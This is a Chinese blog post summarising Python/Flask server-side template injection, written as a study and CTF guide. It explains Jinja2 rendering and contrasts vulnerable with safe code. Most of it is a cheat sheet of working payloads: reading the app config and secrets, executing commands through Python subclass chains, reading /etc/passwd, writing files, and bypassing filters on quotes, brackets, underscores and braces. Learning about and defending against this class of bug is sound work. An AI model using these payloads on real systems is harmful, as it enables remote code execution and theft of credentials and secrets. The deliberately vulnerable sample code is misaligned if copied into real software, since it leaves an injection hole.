Python SSTI漏洞学习总结

什么是SSTI?

SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。

Flask初识

Flask快速使用

# 安装虚拟环境
pip install virtualenv
# 生成虚拟环境
virtualenv venv
# 激活环境
./venv/Scripts/activate.bat
# 安装Flask
pip install flask
# 官方提供的测试代码,保存为test.py
from flask import Flask
# 使用模块名作为应用名
app = Flask(__name__)

# 路由:即web访问路径
@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    # 启动Flask应用
    app.run()

在venv下创建code目录用来存放代码,运行test.py,然后进入http://127.0.0.1:5000/,可以看到网页上显示了Hello World!,代表app启动成功。

Flask中的Jinja2

在Python中,该漏洞常见于Flask(一个轻量级Web应用框架)模块中,Flask使用Jinja2作为模板引擎,Jinja2支持以下语法进行数据渲染:

  • {{}}:将花括号内的内容作为表达式执行并返回对应结果。

    # 会被解析为12
    {{3*4}}
    
  • {%%}:用于声明变量或条件/循环语句

    # 使用set声明变量
    {% set s = 'Tuzk1' %}
    # 条件语句
    {% if var is true %}Tuzk1{%endif%}
    # 循环语句
    {% for i in range(3) %}Tuzk1{%endfor%}
    
  • {##}:注释

  • 详细用法可以查看官方文档:http://docs.jinkan.org/docs/jinja2/templates.html

Flask渲染

from flask import Flask, render_template
app = Flask(__name__)

@app.route('/')
def hello():
    return 'Hello World'

# 配置路由为/test
@app.route('/test')
def test():
    param = '斯巴拉西'
    # 指定渲染页面,这里会自动在同级目录中的templates寻找指定文件,即等价于render_template('./templates/hello.html', param=param),该函数用于渲染一个页面
    # render_template_string函数则是用于渲染一个字符串,如'<h1>%s</h1>' % 'Hello World'
    return render_template('hello.html', param=param)

if __name__ == '__main__':
    app.run()
<!-- hello.html -->
<html>
	<h1>Hello World!</h1>
	<h2>{{param}}</h2>
</html>

运行,访问http://127.0.0.1:5000/test:

漏洞原理

有了以上关于Flask的基础知识,我们就可以来看看漏洞是如何产生的了。由于对用户输入过滤不严,攻击者可以通过构造恶意数据,使服务器模板引擎渲染这部分数据,从而达到读取文件、RCE等目的。

下面,我们来看一下分析一下存在SSTI漏洞的代码和不存在漏洞的代码,对比学习,体会一下这个漏洞的原理。

  • 存在SSTI漏洞的代码

    from flask import Flask, request, render_template_string
    from jinja2 import Template
    app = Flask(__name__)
    
    @app.route('/')
    def index():
        name = request.args.get('name', default='guest')
        t = '''
            <html>
                <h1>Hello %s</h1>
            </html>
            ''' % (name)
        # 将一段字符串作为模板进行渲染
        return render_template_string(t)
    
    """这样的代码同样存在漏洞
    def index():
        name = request.args.get('name', default='guest')
        t = Template(
            '''
            <html>
                <h1>Hello %s</h1>
            </html>
            ''' % name
        )
        # 对模板对象进行渲染
        return t.render()
    """
    app.run()
    

    使用{{10-1}}作为参数id传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。

  • 不存在漏洞的代码

    from flask import Flask, request, render_template
    app = Flask(__name__)
    
    @app.route('/')
    def index():
        name = request.args.get('name', default='guest')
        # 
        return render_template('index.html', name=name)
    
    app.run()
    

通过观察以上代码,我们可以发现漏洞出现的原因:服务器端将用户可控的输入直接拼接到模板中进行渲染,导致漏洞出现。反之,要解决该漏洞,则只需先将模板渲染,再拼接字符串。

深入到Flask渲染函数原理来讲,render和render_template_string由用户拼接,字符串不会自动转义,而render_template会对字符串计进行自动转义,因此避免了参数被作为表达式执行。

漏洞利用

利用思路

这里以通过SSTI进行RCE为例,基本的利用思路为:

  • 随便找个倒霉的内置类:[]、""
  • 通过这个类获取到object类:__base__、__bases__、__mro__
  • 通过object类获取所有子类:__subclasses__()
  • 在子类列表中找到可以利用的类
  • 直接调用类下面函数或使用该类空间下可用的其他模块的函数

魔术方法

为此,我们需要用到以下魔术方法:

魔术方法 作用
__init__ 对象的初始化方法
__class__ 返回对象所属的类
__module__ 返回类所在的模块
__mro__ 返回类的调用顺序,可以此找到其父类(用于找父类
__base__ 获取类的直接父类(用于找父类
__bases__ 获取父类的元组,按它们出现的先后排序(用于找父类
__dict__ 返回当前类的函数、属性、全局变量等
__subclasses__ 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类
__globals__ 获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量
__import__ 用于导入模块,经常用于导入os模块
__builtins__ 返回Python中的内置函数,如eval

寻找可利用类

# 获取对象所属的类
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
 "".__class__
<class 'str'>
# 获取父类
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
# 获取子类
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()

写个脚本跑一下,看看哪个类可以用,我这里是138和479可以用。

import re

# 将查找到的父类列表替换到data中
data = r'''
    [<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
    for i in userful_class:
        if i in c:
            print(str(class_list.index(c)) + ": " + c)

构造payload

于是构造payload,可以获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写:

  • 获取配置信息

    # 获取配置信息
    {{config}}		# 能获取到config,它包含了如数据库链接字符串、连接到第三方的凭证、SECRET_KEY等敏感信息
    {{request.environ}}	# 服务器环境信息
    
  • XSS

    # XSS(本文主要讲SSTI的RCE姿势,XSS过滤不展开讲)
    name=<script>alert(/YouAreHacked/)</script>
    
  • RCE

    # 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
    {{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}}
    
    # 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
    {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
    {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
    
    # 利用subprocess.Popen类进行RCE的payload
    {{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
    
    # 利用__import__导入os模块进行利用
    {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
    
    # 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
    {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
    {{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}
    
    # 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
    {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
    {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
    # 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
    {{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}
    
    # 通用getshell,都是通过__builtins__调用eval进行代码执行
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
    # 读写文件,通过__builtins__调用open进行文件读写
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    

常见绕过

过滤单双引号

  • 通过request传参绕过(过滤命令时可用,当然,一般是不会起这么嚣张的参数名的[doge])

    # request.values
    {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag
    # request.cookies
    {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.cookies.rce).read()}}
    Cookie: rce=cat /flag;
    # 还有request.headers、request.args,这里不作演示
    
  • 获取chr函数,赋值给chr,拼接字符串

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
    # %2b是+的url转义
    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
    

过滤中括号

# 原payload,可以使用__base__绕过__bases__[0]
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
# 通过__getitem__()绕过__bases__[0]、通过pop(128)绕过__subclasses__()[128]
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

# 原payload
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 绕过
[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

过滤双下划线

# request妙用,绕过
{{''[request.args.a][request.args.b][2][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__

# request传参绕过
# request.args
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
# request.cookies
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}
Cookie: class=__class__; mro=__mro__; subclasses=__subclasses__;
# 还有request.headers、request.args

过滤关键字

  • 拼接字符串

    'o'+'s'
    'sy' + 'stem'
    'fl' + 'ag'
    
  • 编码:Base64、rot13、16进制......

  • 大小写绕过

  • 过滤config

    # 绕过,同样可以获取到config
    {{self.dict._TemplateReference__context.config}}
    

过滤双花括号

  • {% + print绕过

    {%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}
    

通用getshell

  • 过滤引号、中括号

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %} {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}
    
  • 过滤引号、中括号、下划线

    # 使用getlist,获取request的__class__
    {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
    # 拆解一下,等价于下列payload
    {{request|attr('__class__')}}
    {{request['__class__']}}
    {{request.__class__}}
    
    # 获取__object__
    {{request|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
    # 通过flask类获取会更快
    {{flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
    
  • 过滤引号、中括号、下划线、花括号(综合大应用),可能会有一点点复杂:)

    # 打印子类并找到可以利用的类
    {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)())%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_
    
    # 然后稍微加一点难度
    # 目录-寻找可利用类 中用到的脚本跑一下,得到os._wrap_close的序号为138(这里用这个类来演示),于是:
    {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_&l4=d&d=_&d=_&d=getitem&d=_&d=_&l5=e&e=_&e=_&e=init&e=_&e=_&l6=f&f=_&f=_&f=globals&f=_&f=_&rce=whoami
    # 等价于
    {{''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read()}}
    

结语

写到后面,我认为后面绕过这部分应该多出现于比赛当中,在实际环境中没什么用,因此没必要花太多时间研究。

这篇文章花了三天才写完,中途参考了很多师傅的文章(测试payload页测试到手麻了qwq),非常感谢这些师傅。

参考文章

SSTI模板注入漏洞——https://blog.csdn.net/CaiNiaoLW/article/details/110213962
浅谈SSTI——https://www.freebuf.com/articles/web/290756.html
SSTI模板注入(Python+Jinja2)——https://xz.aliyun.com/t/7746
vulhub——https://vulhub.org/#/environments/flask/ssti/
SSTI详解 一文了解SSTI和所有常见payload 以flask模板为例——https://blog.csdn.net/weixin_44604541/article/details/109048578

posted @ 2021-10-11 18:01  Tuzkizki  阅读(1529)  评论(1编辑  收藏  举报